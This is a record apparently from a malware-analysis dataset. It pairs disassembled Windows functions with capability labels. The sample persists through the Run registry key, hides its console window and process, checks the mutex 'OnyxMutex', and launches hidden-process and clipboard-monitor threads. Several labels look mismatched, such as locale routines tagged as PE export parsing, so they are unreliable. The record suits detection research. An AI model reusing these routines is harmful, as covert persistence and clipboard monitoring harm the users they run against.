joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017d9
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], str.MyApp
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20006
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401887
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x118]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401999
Capabilities:
Check mutex on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
call sym._GetCurrentProcess_0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.stub.exe_HideProcess
mov dword [esp + 8], str.OnyxMutex
mov dword [esp + 4], 1
mov dword [esp], 0
call sym._CreateMutexA_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
call sym._GetLastError_0
cmp eax, 0xb7
sete al
test al, al
je 0x401a17
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401a97
call sym.add_to_startup__
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x14]
mov dword [esp], edx
mov ecx, eax
call method.mingw_stdthread::thread.thread_run_hidden_process__::lambda__1__run_hidden_process__::lambda__1_
sub esp, 4
lea eax, [ebp - 0x20]
mov ecx, eax
call method.mingw_stdthread::thread.detach__
lea eax, [ebp - 0x28]
mov dword [esp], sym.monitor_clipboard__
mov ecx, eax
call method.mingw_stdthread::thread.thread_void_______void______
sub esp, 4
lea eax, [ebp - 0x28]
mov ecx, eax
call method.mingw_stdthread::thread.detach__
lea eax, [ebp - 0x28]
mov ecx, eax
call method.mingw_stdthread::thread.thread__
lea eax, [ebp - 0x20]
mov ecx, eax
call method.mingw_stdthread::thread.thread__
jmp 0x401a97
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401ae6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x1c]
add eax, 4
mov ecx, eax
call method.mingw_stdthread::thread::id.id__
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.run_hidden_process__::lambda__1_std::forward_run_hidden_process__::lambda__1__std::remove_reference_run_hidden_process__::lambda__1_::type_
mov esi, eax
mov dword [esp], 8
call sym.operator_new_unsigned_int_
mov ebx, eax
mov dword [esp], esi
mov ecx, ebx
call method.mingw_stdthread::detail.ThreadFuncCall_run_hidden_process__::lambda__1__mingw_stdthread::detail::IntSeq___::ThreadFuncCall_lambda__1_
sub esp, 4
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x18]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym.__ZN15mingw_stdthread6thread10threadfuncINS_6detail14ThreadFuncCallIZ18run_hidden_processvEUlvE_NS2_6IntSeqIJEEEJEEEEEjPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym.__beginthreadex
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401bd4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
call sym.__errno
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.operator_delete_void_
mov dword [esp], 0x10
call sym.___cxa_allocate_exception
mov ebx, eax
call method.std::_V2.generic_category__
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov ecx, ebx
call method.std::system_error.system_error_int__std::_V2::error_category_const_
sub esp, 8
mov dword [esp + 8], method.std::system_error.system_error__
mov dword [esp + 4], 0x4d9fac
mov dword [esp], ebx
call sym.___cxa_throw
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
jmp 0x401bfb
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 4
Function at 0x40bce0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x537098
call sym._EnterCriticalSection_4
mov ebx, dword [0x537090]
sub esp, 4
test ebx, ebx
je 0x40bd2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x40bd24
test esi, esi
je 0x40bd24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40bd00
mov dword [esp], 0x537098
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40bf10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40bf60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40c038
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40bf9e
cmp eax, 4
jne 0x40bfc0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40bfae
cmp edx, 4
je 0x40bfae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040bf10

Function at 0x40c540
Capabilities:
Allocate thread local storage

Disassembly:
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x40c570
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp sym.___mingwthr_key_dtor
add esp, 4
pop ebx
pop esi
jmp sym._GetLastError_0
Function at 0x40c5b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sym._GetLastError_0
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sym._SetLastError_4
sub esp, 4
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40c5e0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
je 0x40c604
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp sym._GetLastError_0
Function at 0x41cd64
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x1c]
add eax, 4
mov ecx, eax
call method.mingw_stdthread::thread::id.id__
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004c3258
mov esi, eax
mov dword [esp], 8
call sym.operator_new_unsigned_int_
mov ebx, eax
mov dword [esp], esi
mov ecx, ebx
call method.mingw_stdthread::detail.ThreadFuncCall_void_______mingw_stdthread::detail::IntSeq___::ThreadFuncCall_void______
sub esp, 4
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x18]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym.__ZN15mingw_stdthread6thread10threadfuncINS_6detail14ThreadFuncCallIRFvvENS2_6IntSeqIJEEEJEEEEEjPv_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym.__beginthreadex
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x41ce52
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
call sym.__errno
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.operator_delete_void_
mov dword [esp], 0x10
call sym.___cxa_allocate_exception
mov ebx, eax
call method.std::_V2.generic_category__
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov ecx, ebx
call method.std::system_error.system_error_int__std::_V2::error_category_const_
sub esp, 8
mov dword [esp + 8], method.std::system_error.system_error__
mov dword [esp + 4], 0x4d9fac
mov dword [esp], ebx
call sym.___cxa_throw
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
jmp 0x41ce79
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 4

Function at 0x41ea40
Capabilities:
Read file on windows

Disassembly:
push esi
push ebx
mov ebx, ecx
sub esp, 0x14
mov eax, dword [ecx + 0x20]
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._fread
test eax, eax
jle 0x41ea80
movzx edx, byte [esi + eax - 1]
mov dword [ebx + 0x24], edx
add esp, 0x14
pop ebx
pop esi
ret 8
mov dword [ebx + 0x24], 0xffffffff
add esp, 0x14
pop ebx
pop esi
ret 8

Function at 0x41ea90
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [ecx + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._fwrite
add esp, 0x1c
ret 8
Function at 0x41f610
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x4d3b5c], 0
jne 0x41f6e4
mov byte [0x4d3b5c], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x41f77e
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x1c], 0xffffffff
sete al
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call sym.___cxa_demangle
mov esi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov ebp, eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea edi, [esi + 0x40]
mov dword [esp + 0xc], edi
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], edi
je 0x41f6da
mov dword [esp], ebx
call sym._fputs
lea eax, [esi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x4d4ce5
mov dword [esp + 0xc], eax
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x41f711
call sym.___cxa_rethrow
mov dword [esp], ebp
call sym._fputs
jmp 0x41f6ab
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
call sym._abort
mov dword [esp], ebp
call sym._free
jmp 0x41f6d5
call sym._abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
jmp 0x41f779

Function at 0x425cc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x54
lea ebx, [esp + 0x40]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], ebx
lea ebx, [esp + 0x3c]
mov dword [esp + 0x3c], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], ebx
movzx ebx, byte [esp + 0x70]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x68]
mov dword [esp + 0x10], ebx
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIcEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb1EEPKNSt6locale5
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x425d40
mov ebx, dword [esp + 0x78]
mov dword [ebx], ecx
add esp, 0x54
pop ebx
pop esi
ret 0x20
fld xword [esp + 0x40]
mov ecx, dword [esp + 0x7c]
fstp xword [ecx]
add esp, 0x54
pop ebx
pop esi
ret 0x20
Function at 0x425d60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x54
lea ebx, [esp + 0x40]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], ebx
lea ebx, [esp + 0x3c]
mov dword [esp + 0x3c], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], ebx
movzx ebx, byte [esp + 0x70]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x68]
mov dword [esp + 0x10], ebx
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIcEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb0EEPKNSt6locale5
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x425de0
mov ebx, dword [esp + 0x78]
mov dword [ebx], ecx
add esp, 0x54
pop ebx
pop esi
ret 0x20
fld xword [esp + 0x40]
mov ecx, dword [esp + 0x7c]
fstp xword [ecx]
add esp, 0x54
pop ebx
pop esi
ret 0x20

Function at 0x426110
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x50]
mov ebx, dword [esp + 0x74]
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], edx
xor bx, bx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x1c], eax
movzx eax, byte [esp + 0x80]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 8], eax
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIwEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb1EEPKNSt6locale5
mov dword [esp + 0x3c], edx
movzx edx, word [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x38], eax
or edx, ebx
test ecx, ecx
je 0x4261a5
mov ebx, dword [esp + 0x88]
mov dword [ebx], ecx
add esp, 0x68
pop ebx
ret 0x20
fld xword [esp + 0x50]
mov ecx, dword [esp + 0x8c]
fstp xword [ecx]
add esp, 0x68
pop ebx
ret 0x20
Function at 0x4261c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x50]
mov ebx, dword [esp + 0x74]
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], edx
xor bx, bx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x1c], eax
movzx eax, byte [esp + 0x80]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 8], eax
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIwEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb0EEPKNSt6locale5
mov dword [esp + 0x3c], edx
movzx edx, word [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x38], eax
or edx, ebx
test ecx, ecx
je 0x426255
mov ebx, dword [esp + 0x88]
mov dword [ebx], ecx
add esp, 0x68
pop ebx
ret 0x20
fld xword [esp + 0x50]
mov ecx, dword [esp + 0x8c]
fstp xword [ecx]
add esp, 0x68
pop ebx
ret 0x20
Function at 0x430e20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov edi, dword [esp + 0x80]
mov edx, dword [esp + 0x74]
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x3c], ecx
mov esi, dword [esp + 0x78]
mov ebp, dword [esp + 0x7c]
lea eax, [edi + 0x6c]
mov dword [esp + 0x38], edx
mov dword [esp], eax
call method.std::ctype_char__const_std::use_facet_std.ctype_char____std::locale_const_
lea eax, [esp + 0x4c]
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x20], edi
mov dword [esp], ebx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x1c], 4
mov dword [esp + 0x18], 0x270f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], ebp
mov dword [esp + 4], edx
mov dword [esp + 0x4c], 0
call sym.__ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_numES4_S4_RiiijRSt8ios_baseRSt12_Ios_Iosta
sub esp, 0x28
mov ebx, eax
mov edi, edx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x4c]
test eax, eax
jne 0x430f02
mov eax, dword [esp + 0x48]
test eax, eax
lea ecx, [eax - 0x76c]
js 0x430f50
mov eax, dword [esp + 0x88]
mov dword [eax + 0x14], ecx
test ebx, ebx
je 0x430f72
cmp edx, 0xffffffff
je 0x430f10
test esi, esi
mov edi, edx
je 0x430ef2
cmp ebp, 0xffffffff
je 0x430f20
mov eax, dword [esp + 0x84]
or dword [eax], 2
mov eax, dword [esp + 0x38]
add esp, 0x5c
mov edx, edi
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
mov eax, dword [esp + 0x84]
or dword [eax], 4
jmp 0x430ed0
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x430f60
movzx edx, byte [eax]
jmp 0x430edd
xor ebx, ebx
mov eax, dword [esi + 8]
cmp eax, dword [esi + 0xc]
jae 0x430f92
movzx eax, byte [eax]
cmp eax, 0xffffffff
sete al
cmp al, bl
je 0x430ee8
mov eax, dword [esp + 0x38]
add esp, 0x5c
mov edx, edi
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
lea ecx, [eax + 0x64]
jmp 0x430ec6
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x24]
cmp eax, 0xffffffff
mov edx, eax
jne 0x430edd
test esi, esi
mov dword [esp + 0x38], 0
je 0x430ee8
cmp ebp, 0xffffffff
mov ebx, 1
jne 0x430ef2
jmp 0x430f22
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x24]
jmp 0x430f2d
Function at 0x433a10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov eax, dword [esp + 0x7c]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x20], ecx
mov ebx, dword [esp + 0x60]
mov esi, dword [esp + 0x68]
mov edi, dword [esp + 0x6c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x28], edx
mov ebp, dword [esp + 0x80]
add eax, 0x6c
mov dword [esp], eax
call method.std::ctype_char__const_std::use_facet_std.ctype_char____std::locale_const_
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x28]
mov dword [ecx], 0
cmp byte [eax + 0x1c], 0
je 0x433b50
movzx ecx, byte [eax + 0x42]
mov eax, ebp
mov byte [esp + 0x3c], cl
test al, al
jne 0x433af0
movzx eax, byte [esp + 0x24]
mov byte [esp + 0x3e], 0
mov byte [esp + 0x3d], al
lea eax, [esp + 0x3c]
mov ecx, dword [esp + 0x20]
mov dword [esp], ebx
mov dword [esp + 8], esi
mov dword [esp + 0xc], edi
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 4], edx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x10], eax
call sym.__ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE21_M_extract_via_formatES4_S4_RSt8ios_baseRSt12_Ios_Ios
sub esp, 0x20
test eax, eax
mov ebx, eax
mov ebp, edx
je 0x433bb2
cmp edx, 0xffffffff
je 0x433b10
test esi, esi
mov ebp, edx
je 0x433adf
cmp edi, 0xffffffff
je 0x433b21
mov eax, dword [esp + 0x74]
or dword [eax], 2
add esp, 0x4c
mov eax, ebx
mov edx, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 0x24
mov eax, ebp
mov byte [esp + 0x3f], 0
mov byte [esp + 0x3d], al
movzx eax, byte [esp + 0x24]
mov byte [esp + 0x3e], al
jmp 0x433a81
mov eax, dword [eax + 8]
cmp eax, dword [ebx + 0xc]
jae 0x433ba0
movzx edx, byte [eax]
jmp 0x433acd
xor edx, edx
mov eax, dword [esi + 8]
cmp eax, dword [esi + 0xc]
jae 0x433bd0
movzx eax, byte [eax]
cmp eax, 0xffffffff
sete al
cmp dl, al
je 0x433ad8
add esp, 0x4c
mov eax, ebx
mov edx, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 0x24
mov ecx, eax
mov dword [esp + 0x2c], edx
mov dword [esp + 0x28], eax
call method.std::ctype_char_._M_widen_init___const
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x18]
mov edx, ecx
mov dword [esp + 0x28], ecx
mov ecx, 0x25
cmp edx, method.std::ctype_char_.do_widen_char__const
mov edx, dword [esp + 0x2c]
je 0x433a69
mov ecx, eax
mov dword [esp], 0x25
call dword [esp + 0x28]
sub esp, 4
mov ecx, eax
mov edx, dword [esp + 0x2c]
jmp 0x433a69
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x24]
cmp eax, 0xffffffff
mov edx, eax
jne 0x433acd
xor ebx, ebx
test esi, esi
je 0x433ad8
cmp edi, 0xffffffff
mov edx, 1
jne 0x433adf
jmp 0x433b23
mov eax, dword [esi]
mov byte [esp + 0x20], dl
mov ecx, esi
call dword [eax + 0x24]
movzx edx, byte [esp + 0x20]
jmp 0x433b32